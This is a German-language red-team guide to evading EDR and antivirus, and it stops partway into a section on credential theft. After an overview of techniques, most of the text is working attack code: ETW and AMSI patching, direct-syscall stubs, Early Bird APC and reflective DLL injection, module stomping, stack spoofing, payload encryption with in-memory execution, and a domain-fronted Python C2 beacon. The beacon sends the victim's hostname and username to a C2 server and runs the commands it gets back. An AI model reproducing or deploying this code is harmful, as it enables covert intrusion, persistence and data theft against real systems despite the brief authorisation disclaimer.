1. Moderne EDR/AV Evasion Fundamentals
Erkennungsmechanismen verstehen
- Signature-based: Pattern Matching, YARA Rules, Hash-basiert
- Heuristic: Verhaltensanalyse, API-Monitoring, Syscall-Tracking
- Machine Learning: Anomalie-Erkennung, Modell-basierte Klassifizierung
- Cloud-basiert: Sandbox-Detonation, Reputation-Systeme
- Behavioral: User-Land Hooking, Kernel Callbacks, ETW (Event Tracing for Windows)
ETW (Event Tracing for Windows) Bypassing
ETW ist kritisch für moderne EDR-Lösungen. Umgehungsstrategien:
- ETW Patching: NtTraceEvent/EtwEventWrite patchen
- Provider Deaktivierung: EtwEventUnregister für spezifische Provider
- InfinityHook-Style Hooks: Syscall-Table Manipulation
- Thread-Stack Spoofing: Call-Stack Manipulation gegen Stack-Walking
AMSI (Antimalware Scan Interface) Bypassing
- Memory Patching: AmsiScanBuffer patchen (verschiedene Offsets für verschiedene Builds)
- Context Manipulation: AmsiContext invalidieren
- Reflection: Assembly.Load mit modifiziertem AMSI-Context
- COM Hijacking: AMSI COM-Objekte manipulieren
- Downgrade Attacks: PowerShell v2 (wo verfügbar, keine AMSI-Integration)
2. Code Execution Evasion
Payload Obfuscation
- Encryption/Encoding: AES, XOR mit komplexen Keys, Custom Encoding-Schemas
- Polymorphism: Jede Execution generiert unterschiedlichen Code
- Metamorphism: Code-Struktur fundamental ändern
- Code Virtualization: VMP-ähnliche Techniques, eigene VM-Instruction-Sets
In-Memory Execution
Techniken:
- Process Injection: CreateRemoteThread, QueueUserAPC, SetThreadContext
- Process Hollowing: NtUnmapViewOfSection + WriteProcessMemory
- Process Doppelgänging: NTFS Transactions nutzen
- Module Stomping: Legitime DLLs überschreiben
- Phantom DLL Hollowing: TxF für transaktionale DLL-Loads
- Thread Hijacking: Bestehende Threads kapern
Fortgeschrittene Injection-Methoden
- Early Bird APC: APC vor Thread-Start queuen
- AtomBombing: Global Atom Tables für Code-Transfer
- Shim DLL Injection: Application Compatibility Shims
- Extra Window Memory: SetWindowLongPtr für Code-Storage
- PROPagate: Window Properties für Injection
- Thread Execution Hijacking: Suspended Thread Context manipulieren
Syscall-Direkt-Ausführung
EDR-Hooks in ntdll.dll umgehen:
- Direct Syscalls: Syscall-Nummern direkt aufrufen (SSN – System Service Numbers)
- Indirect Syscalls: syscall-Instruction über legitimen Code ausführen
- Syswhispers: Automatische Syscall-Stub-Generierung
- Hell’s Gate / Halo’s Gate: Syscall-Nummern dynamisch aus ntdll extrahieren
- Tartarus‘ Gate: Unhook-resistent durch mehrere Lookup-Methoden
3. Network Evasion
C2 Communication Obfuscation
- Domain Fronting: CDN/Proxy-Infrastruktur missbrauchen
- Domain Hiding: DGA (Domain Generation Algorithms)
- Protocol Mimicry: Legit Traffic imitieren (HTTPS, DNS, etc.)
- Encrypted Channels: TLS mit Cert Pinning, Custom Crypto
- Steganography: Data in Bildern, DNS TXT Records, ICMP
Traffic Analysis Evasion
- Jitter: Zufällige Delays zwischen Beacons
- Randomisierung: Packet-Size, User-Agents, Headers variieren
- Time-based Triggers: Nur zu bestimmten Zeiten aktiv
- Geofencing: Nur in bestimmten Regionen aktiv
- Malleable C2 Profiles: Cobalt Strike-Style Traffic-Shaping
4. Persistence Evasion
Unauffällige Persistence
- COM Hijacking: CLSID-Manipulation
- WMI Event Subscriptions: Event-triggered Execution
- Scheduled Tasks: Mit legitimen Namen/Pfaden
- Application Shimming: Custom Shim Databases
- Accessibility Features: Sticky Keys, Utilman etc. ersetzen
- Services: Als legitime Dienste getarnt
- Print Processors: DLL-Injection via Print Spooler
- Netsh Helper DLLs: Network Shell Erweiterungen
Registry-basiert
- Run/RunOnce Keys: Versteckt in unüblichen Hives
- Image File Execution Options: Debugger-Hijacking
- AppInit_DLLs: Globale DLL-Injection (deprecated aber noch funktional)
- Silent Process Exit: Monitoring-Mechanismus missbrauchen
5. Defense Evasion Techniques
Sandbox Detection & Evasion
- Timing Checks: Sleep-Acceleration erkennen
- User Interaction: Maus-Bewegungen, Clicks verlangen
- Environment Checks: CPU-Cores, RAM, Disk-Size, Registry-Keys
- Anti-Debugging: IsDebuggerPresent, PEB-Checks, Timing-Attacks
- VM Detection: CPUID-Checks, DMI/SMBIOS, Hardware-Serials
Process/Thread Masquerading
- PPID Spoofing: Parent Process ID fälschen
- Call Stack Spoofing: ROP-Chains für legitime Call-Stacks
- Module Overloading: Legitime DLLs laden, dann überschreiben
- Thread Stack Spoofing: Return-Adressen manipulieren
Credential Dumping Evasion
- Direct LSASS Access vermeiden: Prozess-Dump stattdessen
- LSASS Shtinkering: Minidump mit MiniDumpWriteDump
- SSP/AP DLLs: Security Support Provider als Persistence
- Comsvcs.dll: Documented Way für Prozess-Dumps
- ProcDump/Alternatives: Signed Binaries für Dumps nutzen
6. Living Off The Land (LOLBins)
Windows-Native Tools missbrauchen
- mshta.exe: HTA-basierte Execution
- regsvr32.exe: Scriptlet-basierte Execution
- rundll32.exe: DLL/JavaScript Execution
- msiexec.exe: Remote MSI-Installation
- certutil.exe: Download und Decode von Payloads
- bitsadmin.exe: Background File Transfer
- wmic.exe: Remote Command Execution
- powershell.exe: Obviös aber mächtig
Advanced LOLBin Chains
Kombinationen für komplexe Angriffe:
- regsvr32 + certutil: Download und Execute
- msiexec + remote share: Silent Installation
- wmic + xsl: Remote XSL-Script Execution
7. PowerShell Evasion
Execution Policy Bypasses
-ExecutionPolicy BypassGet-Content | Invoke-Expression[Scriptblock]::Create().Invoke()- Encoded Commands:
-EncodedCommand
Logging Evasion
- Script Block Logging deaktivieren: Registry-Manipulation
- Transcription ausschalten: Entsprechende Keys entfernen
- Module Logging: Selektiv deaktivieren
- PowerShell v2 Downgrade: Falls verfügbar (keine erweiterten Logs)
Obfuscation
- Invoke-Obfuscation: Comprehensive Obfuscation-Framework
- Variable Renaming: Randomisierte Namen
- String Concatenation: Breaking von Signatures
- Encoding: Base64, Hex, ASCII-Manipulation
- Reflection: System.Management.Automation Internals nutzen
8. Linux/Unix Evasion
Binary Execution Evasion
- LD_PRELOAD: Shared Library Injection
- Memory-only Execution: memfd_create für fileless Execution
- Process Masquerading: argv[0] manipulieren
- Shared Memory: Payloads in shm ablegen
AV/EDR Evasion auf Linux
- Syscall Hooking umgehen: Direkte Syscalls via asm
- eBPF-basierte EDR: BPF-Hooks erkennen und umgehen
- Kernel Module Hiding: rootkit-ähnliche Techniques
- Auditd Evasion: Logging-Rules umgehen
9. Advanced Tooling & Frameworks
Offensive Tools
- Cobalt Strike: Malleable C2, Beacon customization
- Metasploit: Evasion-Module, Encoder-Chains
- Covenant: .NET-basiertes C2-Framework
- Sliver: Moderne C2-Alternative
- Mythic: Container-basiertes Multi-Agent-Framework
- Empire/Starkiller: PowerShell-fokussiert
- Silver: Go-basiertes C2
Evasion-spezifische Tools
- Donut: PE/DLL zu Position-independent Shellcode
- ScareCrow: Payload-Generation mit EDR-Evasion
- ThreatCheck: Defender Signature-Scanner
- DefenderCheck: Signature-Identifikation
- ConfuserEx: .NET Obfuscation
- Hyperion/Veil: PE-Encryption
- Phantom-Evasion: Multi-Technique Generator
10. Praktische Evasion-Strategie
Pre-Engagement
- Target Reconnaissance: Welche Security-Lösungen laufen?
- Testing: Payloads gegen bekannte EDR-Lösungen testen
- Custom Development: Eigene Tools > Public Tools
- Staged Approach: Kleine Footprint initial, dann lateral
During Engagement
- Low and Slow: Aktivität zeitlich streuen
- Blend In: Normale User-Aktivität imitieren
- Clean Up: Artifacts systematisch entfernen
- Multiple Vectors: Backup-Zugänge etablieren
Post-Exploitation
- Credential Harvesting: Unauffällig, ohne LSASS-Dump wenn möglich
- Lateral Movement: Trusted Protocols nutzen (WMI, WinRM, RDP)
- Data Exfiltration: In normalem Traffic verstecken
- Covering Tracks: Logs manipulieren/löschen
11. Continuous Improvement
Skill Development
- Malware Development: C/C++, Assembly, Go, Rust lernen
- Reverse Engineering: IDA Pro, Ghidra, x64dbg
- Exploit Development: Vulnerability Research
- Red Team TTPs: MITRE ATT&CK studieren
Ressourcen
- GitHub: Aktuelle Evasion-Projekte verfolgen
- Research Papers: Academic Journals, Security Conferences
- Bug Bounty Reports: Real-world Bypasses studieren
- Vendor Documentation: EDR/AV Internals verstehen
12. Legal & Ethical Considerations
KRITISCH: Alle diese Techniken NUR in autorisierten Penetrationstests mit schriftlicher Genehmigung verwenden. Unauthorisierter Einsatz ist strafbar.
Pro-Tipp: Die beste Evasion ist Custom-Code. Public Tools werden schnell gesignatured. Investiere Zeit in eigene Tool-Development und verstehe die Fundamentals, nicht nur die Tools.
Advanced Evasion Pentesting – Praktische Deep-Dive Anleitung
1. ETW (Event Tracing for Windows) Patching – Die Basis moderner Evasion
Was ist ETW? ETW ist das zentrale Logging-System von Windows. Jede sicherheitsrelevante Aktion (PowerShell-Befehle, .NET Assembly-Loads, Prozess-Creation) wird über ETW an EDR-Lösungen gemeldet.
Praktische Umsetzung – ETW deaktivieren:
Methode 1: ntdll.dll Patching
// C/C++ Code zum Patchen von EtwEventWrite
#include <windows.h>
BOOL PatchEtw() {
// Hole ntdll.dll Base Address
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
FARPROC pEtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
// Ändere Memory Protection
DWORD oldProtect;
VirtualProtect(pEtwEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldProtect);
// Patch: ret Instruction (0xC3) am Anfang
// Funktion kehrt sofort zurück ohne Events zu senden
*(BYTE*)pEtwEventWrite = 0xC3;
// Protection wiederherstellen
VirtualProtect(pEtwEventWrite, 4096, oldProtect, &oldProtect);
return TRUE;
}
PowerShell-Variante für schnelles Testen:
# ETW für aktuellen Prozess deaktivieren
$ntdll = [Ref].Assembly.GetType('System.Management.Automation.Amsi' + 'Utils')
$val = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
[System.Runtime.InteropServices.Marshal]::GetProcAddress(
[System.Runtime.InteropServices.Marshal]::GetModuleHandle("ntdll"),
"EtwEventWrite"
),
[Func[IntPtr, IntPtr, UInt32, IntPtr, Int32]]
)
# Patch it - return 0
[System.Runtime.InteropServices.Marshal]::WriteByte($val.Method.MethodHandle.GetFunctionPointer(), 0xC3)
Warum das funktioniert: EDR kann keine Events mehr empfangen, da die Funktion sofort returniert. Der Prozess läuft normal weiter, aber alle Security-Events werden verschluckt.
2. AMSI Bypass – PowerShell & .NET undetected ausführen
Was ist AMSI? Antimalware Scan Interface scannt alle PowerShell-Befehle und .NET Assembly-Loads vor der Ausführung. Ohne Bypass erkennst du sofort bei bekannten Tools.
Praktische AMSI-Bypass-Methoden:
Memory Patching – Die robusteste Methode:
# AMSI komplett ausschalten
$a=[Ref].Assembly.GetTypes();
Foreach($b in $a) {
if ($b.Name -like "*iUtils") {
$c=$b
}
};
$d=$c.GetFields('NonPublic,Static');
Foreach($e in $d) {
if ($e.Name -like "*Context") {
$f=$e
}
};
$g=$f.GetValue($null);
[IntPtr]$ptr=$g;
[Int32[]]$buf = @(0);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
Alternative – AmsiScanBuffer direkt patchen:
// C# Code für AMSI Bypass
using System;
using System.Runtime.InteropServices;
public class AmsiBypass {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize,
uint flNewProtect, out uint lpflOldProtect);
public static void Bypass() {
IntPtr hModule = LoadLibrary("amsi.dll");
IntPtr addr = GetProcAddress(hModule, "AmsiScanBuffer");
uint oldProtect;
VirtualProtect(addr, (UIntPtr)5, 0x40, out oldProtect);
// Patch mit: mov eax, 0x80070057 (E_INVALIDARG) + ret
byte[] patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
Marshal.Copy(patch, 0, addr, 6);
VirtualProtect(addr, (UIntPtr)5, oldProtect, out oldProtect);
}
}
Praktischer Workflow:
- AMSI Bypass am Anfang deines Implants ausführen
- Danach beliebige PowerShell-Tools laden (Mimikatz, Invoke-Rubeus, etc.)
- Keine Detection mehr durch signatur-basierte AMSI-Scans
3. Direct Syscalls – EDR-Hooks komplett umgehen
Das Problem: EDR-Lösungen platzieren Hooks in ntdll.dll Funktionen. Jeder API-Call (CreateRemoteThread, WriteProcessMemory, etc.) wird abgefangen und analysiert.
Die Lösung: Rufe Windows Kernel-Funktionen direkt auf, ohne über ntdll.dll zu gehen.
Praktische Implementierung:
Schritt 1: Syscall-Nummern extrahieren (Hell’s Gate Technik)
#include <windows.h>
#include <stdio.h>
// Struktur für Syscall
typedef struct _SYSCALL_ENTRY {
DWORD ssn; // System Service Number
PVOID address; // Syscall Instruction Adresse
} SYSCALL_ENTRY;
// Suche nach Syscall-Nummer in ntdll
BOOL GetSyscallNumber(LPCSTR functionName, SYSCALL_ENTRY* entry) {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PVOID pFunction = GetProcAddress(ntdll, functionName);
if (!pFunction) return FALSE;
BYTE* pByte = (BYTE*)pFunction;
// Pattern suchen: MOV R10, RCX; MOV EAX, SSN
// Bytes: 4C 8B D1 B8 [SSN in 4 bytes]
for (int i = 0; i < 50; i++) {
if (pByte[i] == 0x4C && pByte[i+1] == 0x8B &&
pByte[i+2] == 0xD1 && pByte[i+3] == 0xB8) {
// SSN gefunden bei i+4
entry->ssn = *(DWORD*)(pByte + i + 4);
// Suche syscall instruction
for (int j = i; j < i + 20; j++) {
if (pByte[j] == 0x0F && pByte[j+1] == 0x05) {
entry->address = (PVOID)(pByte + j);
return TRUE;
}
}
}
}
return FALSE;
}
Schritt 2: Direct Syscall ausführen
; Assembly für direkten Syscall (NASM syntax)
; Beispiel: NtAllocateVirtualMemory
extern SyscallNumber
extern SyscallAddress
NtAllocateVirtualMemory:
mov r10, rcx ; Windows x64 calling convention
mov eax, [SyscallNumber] ; Lade SSN
jmp qword [SyscallAddress] ; Springe zu syscall instruction
ret
Schritt 3: Integration in C-Code
// Function Pointer Typ definieren
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Syscall ausführen
BOOL AllocateMemoryDirect(HANDLE hProcess, SIZE_T size, PVOID* addr) {
SYSCALL_ENTRY entry;
if (!GetSyscallNumber("NtAllocateVirtualMemory", &entry))
return FALSE;
// Dynamisch Syscall ausführen
// Hier würdest du deine Assembly-Funktion aufrufen
// oder inline Assembly nutzen
PVOID baseAddr = NULL;
SIZE_T regionSize = size;
// Call with syscall stub
NTSTATUS status = MySyscallStub(
entry.ssn,
hProcess,
&baseAddr,
0,
®ionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
*addr = baseAddr;
return NT_SUCCESS(status);
}
Praktischer Nutzen:
- CreateRemoteThread → NtCreateThreadEx (Syscall)
- WriteProcessMemory → NtWriteVirtualMemory (Syscall)
- VirtualAllocEx → NtAllocateVirtualMemory (Syscall)
- Kein EDR-Hook wird getriggert!
4. Process Injection – Modern & Undetected
Ziel: Code in einen anderen Prozess injizieren ohne dass EDR es erkennt.
Early Bird APC Injection – Die eleganteste Methode:
Konzept: Erstelle Prozess in suspended state, injiziere Code, queue APC, resume. Code wird ausgeführt bevor irgendwelche EDR-Checks laufen.
#include <windows.h>
BOOL EarlyBirdInjection(LPCWSTR targetExe, BYTE* shellcode, SIZE_T shellcodeSize) {
// 1. Prozess erstellen (suspended)
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessW(
targetExe,
NULL,
NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, // Suspended!
NULL, NULL,
&si, &pi
);
// 2. Memory in Target allozieren (via Syscall für Evasion)
PVOID remoteBuffer = VirtualAllocEx(
pi.hProcess,
NULL,
shellcodeSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// 3. Shellcode schreiben
WriteProcessMemory(
pi.hProcess,
remoteBuffer,
shellcode,
shellcodeSize,
NULL
);
// 4. APC in Main Thread queuen
// Code wird ausgeführt wenn Thread resumed wird
QueueUserAPC(
(PAPCFUNC)remoteBuffer,
pi.hThread,
NULL
);
// 5. Thread fortsetzen - Shellcode läuft!
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}
Warum das funktioniert:
- Prozess ist suspended → EDR hat noch nicht gehookt
- APC wird ausgeführt bevor normale Code-Paths laufen
- Keine verdächtigen API-Calls wie CreateRemoteThread
- Sehr schwer zu detektieren
5. Module Stomping – Fortgeschrittene Memory Injection
Konzept: Lade eine legitime DLL, überschreibe deren Code im Memory mit deinem Payload. Entry Point der DLL zeigt auf deinen Code.
BOOL ModuleStomping(LPCSTR targetDll, BYTE* payload, SIZE_T payloadSize) {
// 1. Legitime DLL laden (z.B. eine signed Microsoft DLL)
HMODULE hModule = LoadLibraryA(targetDll);
if (!hModule) return FALSE;
// 2. Memory Protection ändern
MEMORY_BASIC_INFORMATION mbi;
VirtualQuery(hModule, &mbi, sizeof(mbi));
DWORD oldProtect;
VirtualProtect(
mbi.BaseAddress,
mbi.RegionSize,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
// 3. DLL-Code mit Payload überschreiben
memcpy(hModule, payload, payloadSize);
// 4. Protection wiederherstellen (wichtig für Evasion!)
VirtualProtect(
mbi.BaseAddress,
mbi.RegionSize,
oldProtect,
&oldProtect
);
// 5. Entry Point aufrufen
typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
DllMain_t entry = (DllMain_t)hModule;
entry(hModule, DLL_PROCESS_ATTACH, NULL);
return TRUE;
}
Vorteile:
- Module Signing bleibt bestehen (auf Disk)
- Memory-Scanning sieht legitimen Module-Namen
- Viele EDRs whitelisten signed Microsoft DLLs
6. Thread Stack Spoofing – Call Stack Manipulation
Problem: Moderne EDR prüft Call Stacks. Wenn dein Shellcode keine saubere Call-Chain hat → Detection.
Lösung: Erstelle einen legitimen Call Stack mit ROP-Gadgets.
#include <windows.h>
// Finde ROP-Gadget (ret instruction)
PVOID FindRetGadget(HMODULE module) {
BYTE* base = (BYTE*)module;
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
DWORD codeSize = nt->OptionalHeader.SizeOfCode;
BYTE* code = base + nt->OptionalHeader.BaseOfCode;
// Suche nach RET (0xC3)
for (DWORD i = 0; i < codeSize; i++) {
if (code[i] == 0xC3) {
return (PVOID)(code + i);
}
}
return NULL;
}
// Erstelle gefälschten Call Stack
VOID SpoofCallStack(PVOID shellcodeAddr) {
// Hole legitime Module
HMODULE kernel32 = GetModuleHandleA("kernel32.dll");
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
// Finde ROP-Gadgets
PVOID gadget1 = FindRetGadget(kernel32);
PVOID gadget2 = FindRetGadget(ntdll);
// Baue Stack-Frame
PVOID fakeStack[10];
fakeStack[0] = gadget1; // Return zu kernel32
fakeStack[1] = gadget2; // Return zu ntdll
fakeStack[2] = shellcodeAddr; // Dein Code
// Manipuliere Stack Pointer
// Assembly needed hier - setze RSP auf fakeStack
__asm {
mov rsp, fakeStack
ret // Springt durch fake stack
}
}
Praktischer Einsatz:
- Bevor du verdächtige API-Calls machst
- EDR-Stack-Walking sieht: kernel32 → ntdll → dein Code (legitim!)
- Ohne Spoofing: Shellcode → Random Memory → Detection
7. Payload Encryption & Polymorphism
Konzept: Jede Ausführung generiert unterschiedlichen Code. Keine statischen Signaturen möglich.
Praktische Implementierung – XOR mit dynamischem Key:
#include <windows.h>
#include <time.h>
// Polymorphic Encoder
BYTE* EncryptPayload(BYTE* payload, SIZE_T size, BYTE* outKey) {
BYTE* encrypted = (BYTE*)malloc(size);
// Generiere random Key basierend auf Zeit + Hostname
srand((unsigned int)time(NULL));
char hostname[256];
DWORD hostnameLen = 256;
GetComputerNameA(hostname, &hostnameLen);
// Key aus Hostname hash + Random
DWORD keyBase = 0;
for (DWORD i = 0; i < hostnameLen; i++) {
keyBase += hostname[i] * (i + 1);
}
keyBase ^= rand();
*outKey = (BYTE)(keyBase & 0xFF);
// XOR Encryption (erweiterbar zu AES, etc.)
for (SIZE_T i = 0; i < size; i++) {
encrypted[i] = payload[i] ^ (*outKey + i);
}
return encrypted;
}
// Runtime Decryption
VOID DecryptAndExecute(BYTE* encrypted, SIZE_T size, BYTE key) {
// Alloziere executable memory
PVOID exec = VirtualAlloc(
NULL,
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Decrypt in-place
for (SIZE_T i = 0; i < size; i++) {
((BYTE*)exec)[i] = encrypted[i] ^ (key + i);
}
// Flush instruction cache
FlushInstructionCache(GetCurrentProcess(), exec, size);
// Execute
((void(*)())exec)();
}
Zusatz – Code Metamorphism:
// Füge random NOPs, Junk-Instructions ein
VOID AddJunkCode(BYTE* code, SIZE_T* size) {
BYTE junkInstructions[] = {
0x90, // NOP
0x40, 0x88, 0xC0, // MOV AL, AL (no-op)
0x48, 0x89, 0xC0, // MOV RAX, RAX
};
// Random Junk an random Positionen
for (int i = 0; i < 20; i++) {
SIZE_T pos = rand() % (*size);
BYTE junk = junkInstructions[rand() % sizeof(junkInstructions)];
// Insert junk byte
memmove(code + pos + 1, code + pos, (*size) - pos);
code[pos] = junk;
(*size)++;
}
}
8. Fileless Execution – Komplett im Memory
Ziel: Keine Datei auf Disk schreiben. Nichts für Forensik/AV zum Scannen.
Praktische Methode – Reflective DLL Injection:
// Loader für DLL direkt aus Memory
typedef HMODULE(WINAPI* LoadLibrary_t)(LPCSTR);
typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE, LPCSTR);
typedef struct {
LoadLibrary_t pLoadLibrary;
GetProcAddress_t pGetProcAddress;
} LOADER_DATA;
// Reflective Loader (wird in Target-Prozess ausgeführt)
DWORD WINAPI ReflectiveLoader(LPVOID param) {
LOADER_DATA* data = (LOADER_DATA*)param;
BYTE* dllData = (BYTE*)param + sizeof(LOADER_DATA);
// Parse PE Headers
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)dllData;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(dllData + dos->e_lfanew);
// Alloziere Memory für DLL
BYTE* imageBase = (BYTE*)VirtualAlloc(
(PVOID)nt->OptionalHeader.ImageBase,
nt->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Copy Headers
memcpy(imageBase, dllData, nt->OptionalHeader.SizeOfHeaders);
// Copy Sections
IMAGE_SECTION_HEADER* section = IMAGE_FIRST_SECTION(nt);
for (int i = 0; i < nt->FileHeader.NumberOfSections; i++) {
memcpy(
imageBase + section[i].VirtualAddress,
dllData + section[i].PointerToRawData,
section[i].SizeOfRawData
);
}
// Process Relocations
IMAGE_DATA_DIRECTORY* relocDir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
DWORD_PTR delta = (DWORD_PTR)imageBase - nt->OptionalHeader.ImageBase;
if (relocDir->Size > 0) {
IMAGE_BASE_RELOCATION* reloc =
(IMAGE_BASE_RELOCATION*)(imageBase + relocDir->VirtualAddress);
while (reloc->VirtualAddress) {
WORD* relocInfo = (WORD*)((BYTE*)reloc + sizeof(IMAGE_BASE_RELOCATION));
int count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / 2;
for (int i = 0; i < count; i++) {
if ((relocInfo[i] >> 12) == IMAGE_REL_BASED_DIR64) {
DWORD_PTR* patchAddr = (DWORD_PTR*)(imageBase +
reloc->VirtualAddress + (relocInfo[i] & 0xFFF));
*patchAddr += delta;
}
}
reloc = (IMAGE_BASE_RELOCATION*)((BYTE*)reloc + reloc->SizeOfBlock);
}
}
// Resolve Imports
IMAGE_DATA_DIRECTORY* importDir =
&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
IMAGE_IMPORT_DESCRIPTOR* importDesc =
(IMAGE_IMPORT_DESCRIPTOR*)(imageBase + importDir->VirtualAddress);
while (importDesc->Name) {
char* moduleName = (char*)(imageBase + importDesc->Name);
HMODULE hMod = data->pLoadLibrary(moduleName);
IMAGE_THUNK_DATA* thunk =
(IMAGE_THUNK_DATA*)(imageBase + importDesc->FirstThunk);
IMAGE_THUNK_DATA* origThunk =
(IMAGE_THUNK_DATA*)(imageBase + importDesc->OriginalFirstThunk);
while (origThunk->u1.AddressOfData) {
IMAGE_IMPORT_BY_NAME* import =
(IMAGE_IMPORT_BY_NAME*)(imageBase + origThunk->u1.AddressOfData);
thunk->u1.Function = (DWORD_PTR)data->pGetProcAddress(hMod, import->Name);
thunk++;
origThunk++;
}
importDesc++;
}
// Call DllMain
typedef BOOL(WINAPI* DllMain_t)(HINSTANCE, DWORD, LPVOID);
DllMain_t dllMain = (DllMain_t)(imageBase + nt->OptionalHeader.AddressOfEntryPoint);
dllMain((HINSTANCE)imageBase, DLL_PROCESS_ATTACH, NULL);
return 0;
}
// Injection in Target Process
BOOL InjectReflectiveDll(HANDLE hProcess, BYTE* dllData, SIZE_T dllSize) {
// Alloziere Memory in Target
SIZE_T totalSize = sizeof(LOADER_DATA) + dllSize;
PVOID remoteBuffer = VirtualAllocEx(
hProcess,
NULL,
totalSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
// Prepare Loader Data
LOADER_DATA loaderData;
loaderData.pLoadLibrary = (LoadLibrary_t)GetProcAddress(
GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
loaderData.pGetProcAddress = (GetProcAddress_t)GetProcAddress(
GetModuleHandleA("kernel32.dll"), "GetProcAddress");
// Write Loader + DLL
WriteProcessMemory(hProcess, remoteBuffer, &loaderData,
sizeof(LOADER_DATA), NULL);
WriteProcessMemory(hProcess, (BYTE*)remoteBuffer + sizeof(LOADER_DATA),
dllData, dllSize, NULL);
// Write Loader Code
SIZE_T loaderSize = 4096; // Estimate
PVOID loaderBuffer = VirtualAllocEx(
hProcess,
NULL,
loaderSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(hProcess, loaderBuffer, (PVOID)ReflectiveLoader,
loaderSize, NULL);
// Execute
HANDLE hThread = CreateRemoteThread(
hProcess,
NULL, 0,
(LPTHREAD_START_ROUTINE)loaderBuffer,
remoteBuffer,
0, NULL
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return TRUE;
}
Vorteile:
- Keine DLL-Datei auf Disk
- Keine LoadLibrary Registry-Keys
- Schwer für Forensik zu finden
- Kann mit verschlüsselten Payloads kombiniert werden
9. C2 Communication – Domain Fronting & Encryption
Ziel: Command & Control Traffic sieht aus wie normaler HTTPS-Traffic zu legitimen Domains.
Praktisches Domain Fronting Setup:
# Python Beacon mit Domain Fronting
import requests
import base64
import json
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
class C2Beacon:
def __init__(self, front_domain, real_c2):
self.front_domain = front_domain # z.B. "ajax.googleapis.com"
self.real_c2 = real_c2 # Dein echter C2-Server
self.session_key = get_random_bytes(32)
self.beacon_id = self.generate_beacon_id()
def generate_beacon_id(self):
# Generiere unauffällige ID
import uuid
return str(uuid.uuid4())
def encrypt_data(self, data):
cipher = AES.new(self.session_key, AES.MODE_GCM)
ciphertext, tag = cipher.encrypt_and_digest(data.encode())
return base64.b64encode(cipher.nonce + tag + ciphertext).decode()
def beacon(self, data):
# Bereite Request vor
encrypted = self.encrypt_data(json.dumps(data))
headers = {
'Host': self.real_c2, # Echter C2 im Host-Header!
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept': 'text/html,application/xhtml+xml',
'Accept-Language': 'en-US,en;q=0.9',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
# Verstecke Daten in Custom-Header
'X-Request-ID': encrypted
}
try:
# Request geht zu Front-Domain, aber CDN routet zu real_c2
response = requests.get(
f'https://{self.front_domain}/generate_204',
headers=headers,
timeout=10
)
# Parse Commands aus Response
if 'X-Response-Data' in response.headers:
return self.decrypt_data(response.headers['X-Response-Data'])
except Exception as e:
# Silent fail - kein Error-Logging für Evasion
pass
return None
def decrypt_data(self, encrypted_b64):
data = base64.b64decode(encrypted_b64)
nonce = data[:16]
tag = data[16:32]
ciphertext = data[32:]
cipher = AES.new(self.session_key, AES.MODE_GCM, nonce=nonce)
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
return json.loads(plaintext.decode())
# Verwendung
beacon = C2Beacon('ajax.googleapis.com', 'your-c2-server.com')
while True:
# Sende Beacon mit System-Info
system_info = {
'hostname': os.environ['COMPUTERNAME'],
'user': os.environ['USERNAME'],
'beacon_id': beacon.beacon_id
}
commands = beacon.beacon(system_info)
if commands:
execute_commands(commands)
# Jitter - random sleep für Evasion
import random
import time
time.sleep(random.randint(300, 900)) # 5-15 Minuten
Warum das funktioniert:
- Traffic geht zu Google/Cloudflare CDN → Legitim
- SNI zeigt Front-Domain → Firewall/IDS sieht nichts Verdächtiges
- Host-Header routet zu echtem C2 → CDN leitet um
- Verschlüsselung zusätzlich zu TLS → Double Encryption
10. Credential Dumping ohne LSASS-Zugriff
Problem: Direkter LSASS-Zugriff triggert jede EDR-Lösung.
Lösung: Alternative Methoden ohne LSASS-Memory-Read.
Praktisch – DPAPI Credential Theft:
